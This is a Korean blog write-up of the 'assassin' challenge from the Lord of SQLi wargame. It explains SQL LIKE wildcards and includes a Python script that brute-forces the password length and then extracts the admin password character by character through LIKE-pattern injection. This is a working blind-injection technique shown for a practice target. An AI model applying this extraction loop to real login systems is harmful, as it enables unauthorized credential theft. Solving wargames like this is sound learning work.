write-up(web)/los

[LOS] assassin

chanchand 2023. 1. 22. 04:43
반응형

문제


https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php 

 

https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php

 

los.rubiya.kr

 

 

 

문제풀이


like 구문은 정규식 사용이 가능하다.

% : 0개 이상의 어떠한 문자열

_ : 밑줄 개수 만큼 문자가 존재

[] : 대괄호 안의 지정된 문자 범위 또는 문자가 존재 

[^] : 대괄호 안의 지정된 문자 범위 또는 문자 외의 문자가 존재

 

파이썬 코드를 작성해서 admin이 출력될 때를 찾았는데, 계속 출력되지 않았다.

아마도 guest의 pw와 겹치는 부분이 존재해서 그런 것 같다.

guest와 중복되는 부분을 고려해서 코드를 작성하면 문제를 해결할 수 있다.

 

import requests

cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"

# flag_len
flag_len=0
len="_"
for i in range(1,10):
  query="?pw={}".format(len*i);
  res=requests.get(url+query, cookies=cookie)
  print(query)
  if (res.text.find("<h2>Hello guest</h2>")!=-1):
    flag_len=i
    break

print("flag_len:{}".format(flag_len))

# flag
flag=""
admin_flag=""
for i in range(1,flag_len+1):
  for j in range(48,128):
    query="?pw={}{}%".format(flag,chr(j))
    res=requests.get(url+query, cookies=cookie)
    
    if (res.text.find("<h2>Hello admin</h2>")!=-1):
      admin_flag+=chr(j)
      flag+=chr(j)
      print(admin_flag)
      break
    if (res.text.find("<h2>Hello guest</h2>")!=-1):
      flag+=chr(j)
      admin_flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))
print(admin_flag)

 

 

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] zombie_assassin  (0) 2023.01.22
[LOS] succubus  (0) 2023.01.22
[LOS] giant  (0) 2023.01.22
[LOS] bugbear  (0) 2023.01.22
[LOS] darkknight  (0) 2023.01.22